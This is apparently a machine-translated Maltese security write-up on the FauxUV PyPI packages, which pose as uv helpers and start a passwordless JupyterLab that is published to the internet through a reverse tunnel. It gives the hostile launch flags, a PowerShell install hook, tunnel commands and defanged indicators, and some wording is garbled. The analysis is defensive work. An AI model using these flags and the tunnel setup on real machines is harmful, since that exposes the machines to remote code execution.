TL; DR
Grupp ta' pakketti PyPI ħadu l-isem ta' uv, il-maniġer tal-pakketti Python ibbażat fuq Rust, veloċi u popolari immens, biex jippreżentaw ruħhom bħala helpers tal-uv. Ma jġorru kważi l-ebda funzjonalità reali. Minflok, iġorru payload tal-Windows li jiflaħ Server JupyterLab bl-awtentikazzjoni mitfija u, f'verżjonijiet aktar tard, tippubblikah fuq l-internet pubbliku permezz ta' mina inversa.
Dik hija l-istorja kollha f'linja waħda: isem ta' għodda fdata bħala l-lire, u JupyterLab bħala l-magna tal-eżekuzzjoni tal-kodiċi mill-bogħod. Server Jupyter iħaddem kwalunkwe kodiċi li tittajpja f'notebook ċellula; waħda mnedija b'token vojt u marbuta ma' kull interface tan-netwerk hija interpretu miftuħ li kull min jista' jilħaq il-port jista' jħaddem.
Aħna nsegwu l-grupp bħala FauxUVIż-żewġ pakketti eżaminati huma moon-uv (0.0.1 – 0.0.16) u my-magic-uv-helper (0.0.1), ippubblikat mill-istess operatur u live fuq PyPI fil-ħin tal-analiżi.
| Ekosistema | PyPI |
| Pakketti | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Pjattaforma mmirata | twieqi |
| Imġieba ewlenija | Server JupyterLab mhux awtentikat, ippubblikat fuq l-internet permezz ta' reverse tunnel |
| Għodod leġittimi abbużati | uv, JupyterLab, cloudflared, Pinggy |
Il-lixka: isem li diġà tafda
uv hija waħda mill-aktar għodod Python installati fl-aħħar sentejn, għalhekk "għajnuna għal uv"huwa pakkett li żviluppatur jinstalla mingħajr ma jaħsibha darbtejn. FauxUV tonfoq il-kredibilità tagħha kompletament fuq dak l-isem. Il-pakketti jdawru l- ġenwina uv installatur minn Astral — il-URLs fil-payload jippuntaw lejn hosts reali u ta' fama tajba — għalhekk ħarsa ħafifa ma tara xejn ħlief referenzi affidabbli. L-ebda wieħed mill-pakketti fil-fatt ma jżid uv funzjonalità; l-isem huwa t-travestiment kollu.
JupyterLab bħala l-magna RCE
Il-biċċa ċentrali tal-payload hija launcher li jibda JupyterLab b'kull guardrail imneħħi:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Kull bandiera tneħħi protezzjoni, u l-iskritt mibgħut saħansitra jannotahom (biċ-Ċiniż oriġinali): it-token vojt "jitfi l-verifiki tal-password u tat-tokens — kulħadd jista' jikkonnettja." Jupyter lab huwa IDE leġittimu tax-xjenza tad-dejta, iżda mhuxebook ċellula tesegwixxi kodiċi arbitrarju skont id-disinn. Ikkonfigurat b'dan il-mod u marbut ma' 0.0.0.0, jieqaf milli jkun IDE u jsir shell remot mhux awtentikat fuq il-host — l-ebda binarju ta' malware apposta mhu meħtieġ, sempliċement għodda mainstream indikata fid-direzzjoni żbaljata.
Żewġ biċċiet ta' appoġġ jagħmlu dan aċċessibbli u ripetibbli:
- Trigger ta' installazzjoni siekta. Il-verżjonijiet bikrija jħaddmu PowerShell b' -EżekuzzjoniPolicy Bypass dritta minn setup.py on installa pip, fl-isfond bl-iżbalji mrażżna hekk pip jidher normali. Verżjonijiet aktar tard iċċaqalqu l-istess primittiv f'a pip-uv għodda tal-linja tal-kmand — u neħħi l-awto-run fil-ħin tal-installazzjoni għalkollox.
- Mina pubblika bil-maqlub. Server fuq 0.0.0.0 xorta jista' jintlaħaq biss minn hosts li jistgħu jirrottaw lejn il-magna. Modulu miġbur jiftaħ [Pinggy](https://pinggy.io/) Mina inversa SSH li tibgħat il-port lokali ta' Jupyter lil indirizz pubbliku, u b'hekk tneħħi dak il-limitu. L-iskritt mibgħut iġorr ukoll — ikkummentat — mogħdija alternattiva bl-użu ta' Cloudflare cloudflared u netsh port-proxy għal IP Linode, li jiddokumenta l-istess għan permezz ta' infrastruttura differenti.
Imqiegħda flimkien: installa l-pakkett, u host tal-Windows jispiċċa jħaddem JupyterLab mingħajr password u jippubblikah fuq l-internet miftuħ.
Kif evolviet FauxUV
Il-verżjonijiet ta' FauxUV intbagħtu f'suċċessjoni rapida, u l-punt ta' attivazzjoni tal-payload iċċaqlaq fuqhom — tfakkira li verżjoni waħda b'bandiera rarament tirrakkonta l-istorja kollha ta' linja ta' pakketti.
| Traineeship | verżjonijiet | grillu | Dak li jżid |
|---|---|---|---|
| Installa-ganċ | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py fuq l-installazzjoni tal-pip | installazzjoni uv + prepend tal-PATH |
| CLI-runtime | moon-uv 0.0.5-0.0.13 | pip-uv kmand | il-lanċjar tal-JupyterLab mingħajr password |
| Mina | moon-uv 0.0.14-0.0.16 | pip-uv kmand | mina inversa attiva ta' Pinggy |
Notevolment, l-awto-run fil-ħin tal-installazzjoni kien jitneħħa fil-verżjonijiet aktar tard, aktar kapaċi — għalhekk skaner imdaħħal biss fiċ-ċiklu tal-ħajja hooks jikklassifika r-rilaxxi l-ġodda bħala inqas riskjuż, eżatt bil-maqlub.
Indikaturi ta' kompromess
Ikkonfermat billi nqara s-sors tal-pakkett; endpoints immarkati ikkummenta huma preżenti fil-fajls iżda mhux eżegwiti mill-verżjoni analizzata. L-indikaturi tan-netwerk huma mneħħija mill-funzjoni.
| tip | Indikatur |
|---|---|
| Kmand tal-installazzjoni | powershell -ExecutionPolicy Bypass iġib l-installatur tal-uv ġenwin, fil-ħin tal-installazzjoni tal-pip |
| Bnadar ta' JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Mina inversa (attiva) | free[.]pinggy[.]io:443 trażmissjoni lokali 127.0.0.1:8888 |
| Ospitanti tal-mina (ikkummentat) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (ikkummentat) | 45[.]79[.]134[.]161 (Linode) permezz ta' netsh port-proxy |
| Persistenza | jippreċedi %USERPROFILE%\.local\bin għall-PATH tal-utent |
Sinjali ta' mġiba li jiswew li wieħed joqgħod attent għalihom, indipendentement minn dawn il-kordi eżatti: a installa pip li jitnissel powershell - Bypass tal-Politika tal-Eżekuzzjonikwalunkwe jupyter tnedija ta' kombinazzjoni token="" ma –ip=0.0.0.0; u SSH 'il barra lejn *.pinggy.io minn żviluppatur jew magna CI.
Imġieba osservata u provenjenza
Iż-żewġ pakketti jaqsmu awtur u metodu: isem ta' għodda fdata, gating tal-Windows biss, eżekuzzjoni fl-isfond b'soppressjoni tal-iżbalji, u dipendenza fuq għodod ta' fama tajba, għalhekk ħarsa ħafifa tara biss URLs ta' fama tajba. Is-sors iġorr kummenti bil-lingwa Ċiniża li jiddeskrivu l-bnadar rilevanti għas-sigurtà b'mod ċar; aħna nirrappurtawhom bħala dikjarazzjonijiet osservabbli fil-fajl, mhux bħala stqarrija dwar motiv. Il- jippermetti_oriġini valur u a kolab.bat L-isem tal-fajl jirrifletti l-flussi tax-xogħol informali ta' "aqsam ir-runtime lokali tiegħi" li jiċċirkolaw għal Google Colab. Tkun xi tkun l-oriġini, ir-riżultat ippakkjat huwa l-istess.
Impatt u gwida għad-difensuri
Min hu espost għal FauxUV. Żviluppaturi tal-Windows u runners tas-CI li installa pip wieħed minn dawn il-pakketti. JupyterLab mingħajr password fuq 0.0.0.0 hija eżekuzzjoni ta' kodiċi remota għal kull min jista' jilħaq il-port; il-mina tneħħi l-limitu ta' "min jista' jilħqu". Is-server jaħdem bħala l-utent li qed jinstalla, u jiret il-fajls, it-tokens u l-kredenzjali tal-cloud ta' dak l-utent.
Għaliex huwa faċli li titlifha. Kull string tan-netwerk tipponta lejn host ta' reputazzjoni tajba — Astral, JupyterLab, cloudflared, Pinggy, Colab. M'hemm l-ebda binarju ta' malware li jista' jiġi hashjat u l-ebda blob offuskat li jista' jiġi dekodifikat. L-iskennjar ibbażat fuq ir-reputazzjoni u l-firma t-tnejn li huma ma jagħtux importanza lil dan, u huwa għalhekk li l-mistoqsija dwar l-imġiba — X'tagħmel il-magna bl-installazzjoni ta' dan il-pakkett? — huwa dak li jaqbadha.
Gwida:
- Ittratta kwalunkwe ħin ta' installazzjoni powershell - Bypass tal-Politika tal-Eżekuzzjoni bħala sinjal li jkisser il-bini, ikun xi jkun il-URL li jġib.
- Twissija fuq jupyter imniedi b'token vojt u –ip=0.0.0.0; dik il-kombinazzjoni qatt m'għandha tidher fuq workstation jew runner.
- Monitoraġġ għal SSH 'il barra lejn fornituri ta' tunnels (*.pinggy.io, *.trycloudflare.com) minn ambjenti ta' żviluppatur u CI.
- Installa uv minn [sors uffiċjali tiegħu](https://docs.astral.sh/uv/) u kun xettiku dwar pakketti "ta' għajnuna" ta' partijiet terzi li jinkludu għodda li diġà hija faċli biex tiġi installata.
- Ippinja u erġa' rrevedi d-dipendenzi mal-aġġornament — linja ta' pakkett tista' tkabbar kapaċità ġdida verżjoni wara verżjoni.



